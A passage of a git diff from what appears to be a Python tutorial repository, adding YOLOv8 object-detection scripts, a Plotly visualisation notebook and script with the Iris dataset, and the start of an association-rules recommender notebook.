 video_file = sys.argv[1]
 cap = cv2.VideoCapture(video_file)
diff --git a/machine-learning/object-detection/read_video_yolov8.py b/machine-learning/object-detection/read_video_yolov8.py
new file mode 100644
index 00000000..3d02fddf
--- /dev/null
+++ b/machine-learning/object-detection/read_video_yolov8.py
@@ -0,0 +1,79 @@
+import cv2
+import numpy as np
+
+import time
+import sys
+
+from ultralytics import YOLO
+
+# define some parameters
+CONFIDENCE = 0.5
+font_scale = 1
+thickness = 1
+labels = open("data/coco.names").read().strip().split("\n")
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+# loading the YOLOv8 model with the default weight file
+model = YOLO("yolov8n.pt")
+
+# read the file from the command line
+video_file = sys.argv[1]
+cap = cv2.VideoCapture(video_file)
+_, image = cap.read()
+h, w = image.shape[:2]
+fourcc = cv2.VideoWriter_fourcc(*"XVID")
+out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h))
+while True:
+    _, image = cap.read()
+    
+    start = time.perf_counter()
+    results = model.predict(image, conf=CONFIDENCE)[0]
+    time_took = time.perf_counter() - start
+    print("Time took:", time_took)
+
+    # loop over the detections
+    for data in results.boxes.data.tolist():
+        # get the bounding box coordinates, confidence, and class id 
+        xmin, ymin, xmax, ymax, confidence, class_id = data
+        # converting the coordinates and the class id to integers
+        xmin = int(xmin)
+        ymin = int(ymin)
+        xmax = int(xmax)
+        ymax = int(ymax)
+        class_id = int(class_id)
+
+        # draw a bounding box rectangle and label on the image
+        color = [int(c) for c in colors[class_id]]
+        cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness)
+        text = f"{labels[class_id]}: {confidence:.2f}"
+        # calculate text width & height to draw the transparent boxes as background of the text
+        (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+        text_offset_x = xmin
+        text_offset_y = ymin - 5
+        box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+        try:
+            overlay = image.copy()
+        except:
+            break
+        cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+        # add opacity (transparency to the box)
+        image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+        # now put the text (label: confidence %)
+        cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX,
+            fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+    # end time to compute the fps
+    end = time.perf_counter()
+    # calculate the frame per second and draw it on the frame
+    fps = f"FPS: {1 / (end - start):.2f}"
+    cv2.putText(image, fps, (50, 50),
+                cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6)
+    out.write(image)
+    cv2.imshow("image", image)
+    
+    if ord("q") == cv2.waitKey(1):
+        break
+
+
+cap.release()
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/machine-learning/object-detection/requirements.txt b/machine-learning/object-detection/requirements.txt
index ad07e21c..089e32c6 100644
--- a/machine-learning/object-detection/requirements.txt
+++ b/machine-learning/object-detection/requirements.txt
@@ -1,3 +1,4 @@
 opencv-python
 numpy
-matplotlib
\ No newline at end of file
+matplotlib
+ultralytics
\ No newline at end of file
diff --git a/machine-learning/object-detection/utils.py b/machine-learning/object-detection/utils.py
index d4446ae5..b280bfd0 100644
--- a/machine-learning/object-detection/utils.py
+++ b/machine-learning/object-detection/utils.py
@@ -57,6 +57,7 @@ def nms(boxes, iou_thresh):
     """
     Performs Non maximal suppression technique to `boxes` using `iou_thresh` threshold
     """
+    # print(boxes.shape)
     # If there are no bounding boxes do nothing
     if len(boxes) == 0:
         return boxes
@@ -261,5 +262,6 @@ def get_color(c, x, max_val):
             a.text(x1 + lxc, y1 - lyc, conf_tx, fontsize = 12, color = 'k',
                    bbox = dict(facecolor = rgb, edgecolor = rgb, alpha = 0.6))        
         
+    plt.axis("off")
     plt.savefig("output.jpg")
     plt.show()
diff --git a/machine-learning/object-detection/yolo_opencv.py b/machine-learning/object-detection/yolo_opencv.py
index 7ab289b5..d4d7a86b 100644
--- a/machine-learning/object-detection/yolo_opencv.py
+++ b/machine-learning/object-detection/yolo_opencv.py
@@ -37,7 +37,11 @@
 
 # get all the layer names
 ln = net.getLayerNames()
-ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+try:
+    ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+except IndexError:
+    # in case getUnconnectedOutLayers() returns 1D array when CUDA isn't available
+    ln = [ln[i - 1] for i in net.getUnconnectedOutLayers()]
 # feed forward (inference) and get the network output
 # measure how much it took in seconds
 start = time.perf_counter()
diff --git a/machine-learning/object-detection/yolov8_opencv.py b/machine-learning/object-detection/yolov8_opencv.py
new file mode 100644
index 00000000..85b5a298
--- /dev/null
+++ b/machine-learning/object-detection/yolov8_opencv.py
@@ -0,0 +1,68 @@
+import numpy as np
+import os
+import cv2
+import time
+import sys
+from ultralytics import YOLO
+
+# define some parameters
+CONFIDENCE = 0.5
+font_scale = 1
+thickness = 1
+
+# loading the YOLOv8 model with the default weight file
+model = YOLO("yolov8n.pt")
+
+# loading all the class labels (objects)
+labels = open("data/coco.names").read().strip().split("\n")
+
+# generating colors for each object for later plotting
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+path_name = sys.argv[1]
+image = cv2.imread(path_name)
+file_name = os.path.basename(path_name) # "dog.jpg"
+filename, ext = file_name.split(".") # "dog", "jpg"
+
+# measure how much it took in seconds
+start = time.perf_counter()
+# run inference on the image 
+# see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments
+results = model.predict(image, conf=CONFIDENCE)[0]
+time_took = time.perf_counter() - start
+print(f"Time took: {time_took:.2f}s")
+print(results.boxes.data)
+
+# loop over the detections
+for data in results.boxes.data.tolist():
+    # get the bounding box coordinates, confidence, and class id 
+    xmin, ymin, xmax, ymax, confidence, class_id = data
+    # converting the coordinates and the class id to integers
+    xmin = int(xmin)
+    ymin = int(ymin)
+    xmax = int(xmax)
+    ymax = int(ymax)
+    class_id = int(class_id)
+
+    # draw a bounding box rectangle and label on the image
+    color = [int(c) for c in colors[class_id]]
+    cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness)
+    text = f"{labels[class_id]}: {confidence:.2f}"
+    # calculate text width & height to draw the transparent boxes as background of the text
+    (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+    text_offset_x = xmin
+    text_offset_y = ymin - 5
+    box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+    overlay = image.copy()
+    cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+    # add opacity (transparency to the box)
+    image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+    # now put the text (label: confidence %)
+    cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX,
+        fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+# display output image
+cv2.imshow("Image", image)
+cv2.waitKey(0)
+# save output image to disk
+cv2.imwrite(filename + "_yolo8." + ext, image)
diff --git a/machine-learning/plotly-visualization/Plotly_Viz.ipynb b/machine-learning/plotly-visualization/Plotly_Viz.ipynb
new file mode 100644
index 00000000..4e61cb03
--- /dev/null
+++ b/machine-learning/plotly-visualization/Plotly_Viz.ipynb
@@ -0,0 +1,237 @@
+{
+ "cells": [
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "import plotly.offline as py\n",
+    "import plotly.graph_objs as go\n",
+    "import plotly.figure_factory as ff\n",
+    "import pandas as pd\n",
+    "import numpy as np\n",
+    "import yfinance as yf\n",
+    "import pandas_datareader as pdr\n",
+    "\n",
+    "py.init_notebook_mode()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "x = [ i for i in range(-10,10) ]\n",
+    "\n",
+    "y = [ i*2 for i in range(-10,10) ]\n",
+    "\n",
+    "xaxis = go.layout.XAxis(title=\"X Axis\")\n",
+    "yaxis = go.layout.YAxis(title=\"Y Axis\")\n",
+    "\n",
+    "fig = go.Figure(layout=go.Layout(title=\"Simple Line Plot\", xaxis=xaxis, yaxis=yaxis))\n",
+    "fig.add_trace(go.Scatter(x=x, y=y))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "def sigmoid(x):\n",
+    "    return 1 / (1 + np.exp((-1) * x))\n",
+    "\n",
+    "x = sorted(np.random.random(100) * 10 - 5)\n",
+    "y = [ sigmoid(i) for i in x ]\n",
+    "\n",
+    "xaxis = go.layout.XAxis(title=\"X Axis\")\n",
+    "yaxis = go.layout.YAxis(title=\"Y Axis\")\n",
+    "\n",
+    "fig=go.Figure(layout=go.Layout(title=\"Sigmoid Plot\",xaxis=xaxis, yaxis=yaxis))\n",
+    "fig.add_trace(go.Scatter(x=x, y=y, marker=dict(color=\"red\")))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "l = []\n",
+    "\n",
+    "for _ in range(5):\n",
+    "    l.append([ sorted(np.random.randint(low=0, high=10000, size=50)), sorted(np.random.randint(low=0, high=10000, size=50)) ])\n",
+    "\n",
+    "l = np.array(l)\n",
+    "\n",
+    "figure = go.Figure(layout=go.Layout(title=\"Simple Scatter Example\", xaxis=go.layout.XAxis(title=\"X\"), yaxis=go.layout.YAxis(title=\"Y\")))\n",
+    "for i in range(len(l)):\n",
+    "    figure.add_trace(go.Scatter(x=l[i][0],y=l[i][1], mode=\"markers\", name=f\" Distribution {i+1} \"))\n",
+    "figure.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "dist = np.random.normal(loc=0, scale=1, size=50000)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "figure = go.Figure()\n",
+    "figure.add_trace(go.Histogram(x=dist,))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "\n",
+    "\n",
+    "d=[{\"values\":np.random.normal(0,0.5,10000), \"information\": \" Normal Distribution with mean 0 and std= 0.5\"},\n",
+    "  {\"values\":np.random.normal(0,1,10000), \"information\": \" Normal Distribution with mean 0 and std= 1\"},\n",
+    "  {\"values\":np.random.normal(0,1.5,10000), \"information\": \" Normal Distribution with mean 0 and std= 1.5\"},\n",
+    "  {\"values\":np.random.normal(0,2,10000), \"information\": \" Normal Distribution with mean 0 and std= 2\"},\n",
+    "  {\"values\":np.random.normal(0,5,10000), \"information\": \" Normal Distribution with mean 0 and std= 5\"}]\n",
+    "\n",
+    "ff.create_distplot([ele[\"values\"] for ele in d], group_labels=[ele[\"information\"] for ele in d], show_hist=False)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "x = np.random.randint(low=5, high=100, size=15)\n",
+    "y = np.random.randint(low=5, high=100 ,size=15)\n",
+    "z = np.random.randint(low=5, high=100, size=15)\n",
+    "\n",
+    "fig = go.Figure()\n",
+    "fig.add_trace(go.Scatter3d(x=x, y=y, z=z, mode=\"markers\"))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "df_iris = pd.read_csv(\"iris.csv\")"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "fig = go.Figure()\n",
+    "species_types = df_iris.species.unique().tolist()\n",
+    "\n",
+    "for specie in species_types:\n",
+    "    b = df_iris.species == specie\n",
+    "    fig.add_trace(go.Scatter3d(x=df_iris[\"sepal_length\"][b], y=df_iris[\"sepal_width\"][b], z=df_iris[\"petal_width\"][b], name=specie, mode=\"markers\"))\n",
+    "\n",
+    "\n",
+    "fig.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "yf.pdr_override()\n",
+    "\n",
+    "symbols = [\"AAPL\",\"MSFT\"]\n",
+    "stocks = []\n",
+    "for symbol in symbols:\n",
+    "    stocks.append(pdr.get_data_yahoo(symbol, start=\"2020-01-01\", end=\"2020-05-31\"))"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "fig = go.Figure()\n",
+    "\n",
+    "for stock,symbol in zip(stocks,symbols):\n",
+    "    fig.add_trace(go.Scatter(x=stock.index, y=stock.Close, name=symbol))\n",
+    "\n",
+    "fig.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "df_aapl = pdr.get_data_yahoo(symbol, start=\"2020-01-01\", end=\"2020-05-31\")"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "scrolled": true
+   },
+   "outputs": [],
+   "source": [
+    "ff.create_candlestick(dates=df_aapl.index, open=df_aapl.Open, high=df_aapl.High, low=df_aapl.Low, close=df_aapl.Close)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "\n"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": []
+  }
+ ],
+ "metadata": {
+  "kernelspec": {
+   "display_name": "Python 3",
+   "language": "python",
+   "name": "python3"
+  },
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 3
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython3",
+   "version": "3.6.6"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 4
+}
diff --git a/machine-learning/plotly-visualization/README.md b/machine-learning/plotly-visualization/README.md
new file mode 100644
index 00000000..c32d4a56
--- /dev/null
+++ b/machine-learning/plotly-visualization/README.md
@@ -0,0 +1,8 @@
+# [How to Create Plots With Plotly In Python](https://www.thepythoncode.com/article/creating-dynamic-plots-with-plotly-visualization-tool-in-python)
+To run this on a jupyter lab:
+- Install Jupyter Lab
+- Install plotly extension:
+    ```bash
+    $ jupyter labextension install jupyterlab-plotly
+    ```
+- `pip3 install -r requirements.txt`
diff --git a/machine-learning/plotly-visualization/iris.csv b/machine-learning/plotly-visualization/iris.csv
new file mode 100644
index 00000000..381891c6
--- /dev/null
+++ b/machine-learning/plotly-visualization/iris.csv
@@ -0,0 +1,151 @@
+sepal_length,sepal_width,petal_length,petal_width,species
+5.1,3.5,1.4,0.2,setosa
+4.9,3.0,1.4,0.2,setosa
+4.7,3.2,1.3,0.2,setosa
+4.6,3.1,1.5,0.2,setosa
+5.0,3.6,1.4,0.2,setosa
+5.4,3.9,1.7,0.4,setosa
+4.6,3.4,1.4,0.3,setosa
+5.0,3.4,1.5,0.2,setosa
+4.4,2.9,1.4,0.2,setosa
+4.9,3.1,1.5,0.1,setosa
+5.4,3.7,1.5,0.2,setosa
+4.8,3.4,1.6,0.2,setosa
+4.8,3.0,1.4,0.1,setosa
+4.3,3.0,1.1,0.1,setosa
+5.8,4.0,1.2,0.2,setosa
+5.7,4.4,1.5,0.4,setosa
+5.4,3.9,1.3,0.4,setosa
+5.1,3.5,1.4,0.3,setosa
+5.7,3.8,1.7,0.3,setosa
+5.1,3.8,1.5,0.3,setosa
+5.4,3.4,1.7,0.2,setosa
+5.1,3.7,1.5,0.4,setosa
+4.6,3.6,1.0,0.2,setosa
+5.1,3.3,1.7,0.5,setosa
+4.8,3.4,1.9,0.2,setosa
+5.0,3.0,1.6,0.2,setosa
+5.0,3.4,1.6,0.4,setosa
+5.2,3.5,1.5,0.2,setosa
+5.2,3.4,1.4,0.2,setosa
+4.7,3.2,1.6,0.2,setosa
+4.8,3.1,1.6,0.2,setosa
+5.4,3.4,1.5,0.4,setosa
+5.2,4.1,1.5,0.1,setosa
+5.5,4.2,1.4,0.2,setosa
+4.9,3.1,1.5,0.1,setosa
+5.0,3.2,1.2,0.2,setosa
+5.5,3.5,1.3,0.2,setosa
+4.9,3.1,1.5,0.1,setosa
+4.4,3.0,1.3,0.2,setosa
+5.1,3.4,1.5,0.2,setosa
+5.0,3.5,1.3,0.3,setosa
+4.5,2.3,1.3,0.3,setosa
+4.4,3.2,1.3,0.2,setosa
+5.0,3.5,1.6,0.6,setosa
+5.1,3.8,1.9,0.4,setosa
+4.8,3.0,1.4,0.3,setosa
+5.1,3.8,1.6,0.2,setosa
+4.6,3.2,1.4,0.2,setosa
+5.3,3.7,1.5,0.2,setosa
+5.0,3.3,1.4,0.2,setosa
+7.0,3.2,4.7,1.4,versicolor
+6.4,3.2,4.5,1.5,versicolor
+6.9,3.1,4.9,1.5,versicolor
+5.5,2.3,4.0,1.3,versicolor
+6.5,2.8,4.6,1.5,versicolor
+5.7,2.8,4.5,1.3,versicolor
+6.3,3.3,4.7,1.6,versicolor
+4.9,2.4,3.3,1.0,versicolor
+6.6,2.9,4.6,1.3,versicolor
+5.2,2.7,3.9,1.4,versicolor
+5.0,2.0,3.5,1.0,versicolor
+5.9,3.0,4.2,1.5,versicolor
+6.0,2.2,4.0,1.0,versicolor
+6.1,2.9,4.7,1.4,versicolor
+5.6,2.9,3.6,1.3,versicolor
+6.7,3.1,4.4,1.4,versicolor
+5.6,3.0,4.5,1.5,versicolor
+5.8,2.7,4.1,1.0,versicolor
+6.2,2.2,4.5,1.5,versicolor
+5.6,2.5,3.9,1.1,versicolor
+5.9,3.2,4.8,1.8,versicolor
+6.1,2.8,4.0,1.3,versicolor
+6.3,2.5,4.9,1.5,versicolor
+6.1,2.8,4.7,1.2,versicolor
+6.4,2.9,4.3,1.3,versicolor
+6.6,3.0,4.4,1.4,versicolor
+6.8,2.8,4.8,1.4,versicolor
+6.7,3.0,5.0,1.7,versicolor
+6.0,2.9,4.5,1.5,versicolor
+5.7,2.6,3.5,1.0,versicolor
+5.5,2.4,3.8,1.1,versicolor
+5.5,2.4,3.7,1.0,versicolor
+5.8,2.7,3.9,1.2,versicolor
+6.0,2.7,5.1,1.6,versicolor
+5.4,3.0,4.5,1.5,versicolor
+6.0,3.4,4.5,1.6,versicolor
+6.7,3.1,4.7,1.5,versicolor
+6.3,2.3,4.4,1.3,versicolor
+5.6,3.0,4.1,1.3,versicolor
+5.5,2.5,4.0,1.3,versicolor
+5.5,2.6,4.4,1.2,versicolor
+6.1,3.0,4.6,1.4,versicolor
+5.8,2.6,4.0,1.2,versicolor
+5.0,2.3,3.3,1.0,versicolor
+5.6,2.7,4.2,1.3,versicolor
+5.7,3.0,4.2,1.2,versicolor
+5.7,2.9,4.2,1.3,versicolor
+6.2,2.9,4.3,1.3,versicolor
+5.1,2.5,3.0,1.1,versicolor
+5.7,2.8,4.1,1.3,versicolor
+6.3,3.3,6.0,2.5,virginica
+5.8,2.7,5.1,1.9,virginica
+7.1,3.0,5.9,2.1,virginica
+6.3,2.9,5.6,1.8,virginica
+6.5,3.0,5.8,2.2,virginica
+7.6,3.0,6.6,2.1,virginica
+4.9,2.5,4.5,1.7,virginica
+7.3,2.9,6.3,1.8,virginica
+6.7,2.5,5.8,1.8,virginica
+7.2,3.6,6.1,2.5,virginica
+6.5,3.2,5.1,2.0,virginica
+6.4,2.7,5.3,1.9,virginica
+6.8,3.0,5.5,2.1,virginica
+5.7,2.5,5.0,2.0,virginica
+5.8,2.8,5.1,2.4,virginica
+6.4,3.2,5.3,2.3,virginica
+6.5,3.0,5.5,1.8,virginica
+7.7,3.8,6.7,2.2,virginica
+7.7,2.6,6.9,2.3,virginica
+6.0,2.2,5.0,1.5,virginica
+6.9,3.2,5.7,2.3,virginica
+5.6,2.8,4.9,2.0,virginica
+7.7,2.8,6.7,2.0,virginica
+6.3,2.7,4.9,1.8,virginica
+6.7,3.3,5.7,2.1,virginica
+7.2,3.2,6.0,1.8,virginica
+6.2,2.8,4.8,1.8,virginica
+6.1,3.0,4.9,1.8,virginica
+6.4,2.8,5.6,2.1,virginica
+7.2,3.0,5.8,1.6,virginica
+7.4,2.8,6.1,1.9,virginica
+7.9,3.8,6.4,2.0,virginica
+6.4,2.8,5.6,2.2,virginica
+6.3,2.8,5.1,1.5,virginica
+6.1,2.6,5.6,1.4,virginica
+7.7,3.0,6.1,2.3,virginica
+6.3,3.4,5.6,2.4,virginica
+6.4,3.1,5.5,1.8,virginica
+6.0,3.0,4.8,1.8,virginica
+6.9,3.1,5.4,2.1,virginica
+6.7,3.1,5.6,2.4,virginica
+6.9,3.1,5.1,2.3,virginica
+5.8,2.7,5.1,1.9,virginica
+6.8,3.2,5.9,2.3,virginica
+6.7,3.3,5.7,2.5,virginica
+6.7,3.0,5.2,2.3,virginica
+6.3,2.5,5.0,1.9,virginica
+6.5,3.0,5.2,2.0,virginica
+6.2,3.4,5.4,2.3,virginica
+5.9,3.0,5.1,1.8,virginica
\ No newline at end of file
diff --git a/machine-learning/plotly-visualization/plotly_viz.py b/machine-learning/plotly-visualization/plotly_viz.py
new file mode 100644
index 00000000..61935af9
--- /dev/null
+++ b/machine-learning/plotly-visualization/plotly_viz.py
@@ -0,0 +1,160 @@
+
+# coding: utf-8
+
+# In[ ]:
+
+
+import plotly.offline as py
+import plotly.graph_objs as go
+import plotly.figure_factory as ff
+import pandas as pd
+import numpy as np
+import yfinance as yf
+import pandas_datareader as pdr
+
+py.init_notebook_mode()
+
+
+# In[ ]:
+
+
+x = [ i for i in range(-10,10) ]
+
+y = [ i*2 for i in range(-10,10) ]
+
+xaxis = go.layout.XAxis(title="X Axis")
+yaxis = go.layout.YAxis(title="Y Axis")
+
+fig = go.Figure(layout=go.Layout(title="Simple Line Plot", xaxis=xaxis, yaxis=yaxis))
+fig.add_trace(go.Scatter(x=x, y=y))
+
+
+# In[ ]:
+
+
+def sigmoid(x):
+    return 1 / (1 + np.exp((-1) * x))
+
+x = sorted(np.random.random(100) * 10 - 5)
+y = [ sigmoid(i) for i in x ]
+
+xaxis = go.layout.XAxis(title="X Axis")
+yaxis = go.layout.YAxis(title="Y Axis")
+
+fig=go.Figure(layout=go.Layout(title="Sigmoid Plot",xaxis=xaxis, yaxis=yaxis))
+fig.add_trace(go.Scatter(x=x, y=y, marker=dict(color="red")))
+
+
+# In[ ]:
+
+
+l = []
+
+for _ in range(5):
+    l.append([ sorted(np.random.randint(low=0, high=10000, size=50)), sorted(np.random.randint(low=0, high=10000, size=50)) ])
+
+l = np.array(l)
+
+figure = go.Figure(layout=go.Layout(title="Simple Scatter Example", xaxis=go.layout.XAxis(title="X"), yaxis=go.layout.YAxis(title="Y")))
+for i in range(len(l)):
+    figure.add_trace(go.Scatter(x=l[i][0],y=l[i][1], mode="markers", name=f" Distribution {i+1} "))
+figure.show()
+
+
+# In[ ]:
+
+
+dist = np.random.normal(loc=0, scale=1, size=50000)
+
+
+# In[ ]:
+
+
+figure = go.Figure()
+figure.add_trace(go.Histogram(x=dist,))
+
+
+# In[ ]:
+
+
+
+
+d=[{"values":np.random.normal(0,0.5,10000), "information": " Normal Distribution with mean 0 and std= 0.5"},
+  {"values":np.random.normal(0,1,10000), "information": " Normal Distribution with mean 0 and std= 1"},
+  {"values":np.random.normal(0,1.5,10000), "information": " Normal Distribution with mean 0 and std= 1.5"},
+  {"values":np.random.normal(0,2,10000), "information": " Normal Distribution with mean 0 and std= 2"},
+  {"values":np.random.normal(0,5,10000), "information": " Normal Distribution with mean 0 and std= 5"}]
+
+ff.create_distplot([ele["values"] for ele in d], group_labels=[ele["information"] for ele in d], show_hist=False)
+
+
+# In[ ]:
+
+
+x = np.random.randint(low=5, high=100, size=15)
+y = np.random.randint(low=5, high=100 ,size=15)
+z = np.random.randint(low=5, high=100, size=15)
+
+fig = go.Figure()
+fig.add_trace(go.Scatter3d(x=x, y=y, z=z, mode="markers"))
+
+
+# In[ ]:
+
+
+df_iris = pd.read_csv("iris.csv")
+
+
+# In[ ]:
+
+
+fig = go.Figure()
+species_types = df_iris.species.unique().tolist()
+
+for specie in species_types:
+    b = df_iris.species == specie
+    fig.add_trace(go.Scatter3d(x=df_iris["sepal_length"][b], y=df_iris["sepal_width"][b], z=df_iris["petal_width"][b], name=specie, mode="markers"))
+
+
+fig.show()
+
+
+# In[ ]:
+
+
+yf.pdr_override()
+
+symbols = ["AAPL","MSFT"]
+stocks = []
+for symbol in symbols:
+    stocks.append(pdr.get_data_yahoo(symbol, start="2020-01-01", end="2020-05-31"))
+
+
+# In[ ]:
+
+
+fig = go.Figure()
+
+for stock,symbol in zip(stocks,symbols):
+    fig.add_trace(go.Scatter(x=stock.index, y=stock.Close, name=symbol))
+
+fig.show()
+
+
+# In[ ]:
+
+
+df_aapl = pdr.get_data_yahoo(symbol, start="2020-01-01", end="2020-05-31")
+
+
+# In[ ]:
+
+
+ff.create_candlestick(dates=df_aapl.index, open=df_aapl.Open, high=df_aapl.High, low=df_aapl.Low, close=df_aapl.Close)
+
+
+# In[ ]:
+
+
+
+
diff --git a/machine-learning/plotly-visualization/requirements.txt b/machine-learning/plotly-visualization/requirements.txt
new file mode 100644
index 00000000..c85d3412
--- /dev/null
+++ b/machine-learning/plotly-visualization/requirements.txt
@@ -0,0 +1,3 @@
+plotly
+pandas
+numpy
\ No newline at end of file
diff --git a/machine-learning/recommender-system-using-association-rules/README.md b/machine-learning/recommender-system-using-association-rules/README.md
new file mode 100644
index 00000000..f64c861b
--- /dev/null
+++ b/machine-learning/recommender-system-using-association-rules/README.md
@@ -0,0 +1,5 @@
+# [Recommender Systems using Association Rules Mining in Python](https://www.thepythoncode.com/article/build-a-recommender-system-with-association-rule-mining-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Get the dataset [here](https://archive.ics.uci.edu/ml/machine-learning-databases/00352/)
+- Follow [the tutorial](https://www.thepythoncode.com/article/build-a-recommender-system-with-association-rule-mining-in-python) and the [Colab Notebook](https://colab.research.google.com/drive/1HWv-ETO_eVqVJGsbnGui-Nb33tvHPlL3?usp=sharing)
\ No newline at end of file
diff --git a/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.ipynb b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.ipynb
new file mode 100644
index 00000000..cb03e1ed
--- /dev/null
+++ b/machine-learning/recommender-system-using-association-rules/recommender_systems_association_rules.ipynb
@@ -0,0 +1,563 @@
+{
+ "cells": [
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "import pandas as pd\n",
+    "import seaborn as sns\n",
+    "import matplotlib.pyplot as plt\n",
+    "%matplotlib inline\n",
+    "from mlxtend.frequent_patterns import apriori, association_rules\n",
+    "from collections import Counter"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# dataset = pd.read_csv(\"data.csv\",encoding= 'unicode_escape')\n",
+    "dataset = pd.read_excel(\"Online Retail.xlsx\")\n",
+    "dataset.head()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "dataset.shape"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "## Verify missing value\n",
+    "dataset.isnull().sum().sort_values(ascending=False)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "## Remove missing values\n",
+    "dataset1 = dataset.dropna()\n",
+    "dataset1.describe()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "#selecting data where quantity > 0\n",
+    "dataset1= dataset1[dataset1.Quantity > 0]\n",
+    "dataset1.describe()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Creating a new feature 'Amount' which is the product of Quantity and its Unit Price\n",
+    "dataset1['Amount'] = dataset1['Quantity'] * dataset1['UnitPrice']\n",
+    "# to highlight the Customers with most no. of orders (invoices) with groupby function\n",
+    "orders = dataset1.groupby(by=['CustomerID','Country'], as_index=False)['InvoiceNo'].count()\n",
+    "print('The TOP 5 loyal customers with most number of orders...')\n",
+    "orders.sort_values(by='InvoiceNo', ascending=False).head()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "# Creating a subplot of size 15x6\n",
+    "plt.subplots(figsize=(15,6))\n",
+    "# Using the style bmh for better visualization\n",
+    "plt.style.use('bmh')\n",
+    "# X axis will denote the customer ID, Y axis will denote the number of orders\n",
+    "plt.plot(orders.CustomerID, orders.InvoiceNo)\n",
+    "# Labelling the X axis\n",
+    "plt.xlabel('Customers ID')\n",
+    "# Labelling the Y axis\n",
+    "plt.ylabel('Number of Orders')\n",
+    "#  Title to the plot\n",
+    "plt.title('Number of Orders by different Customers')\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "#Using groupby function to highlight the Customers with highest spent amount (invoices)\n",
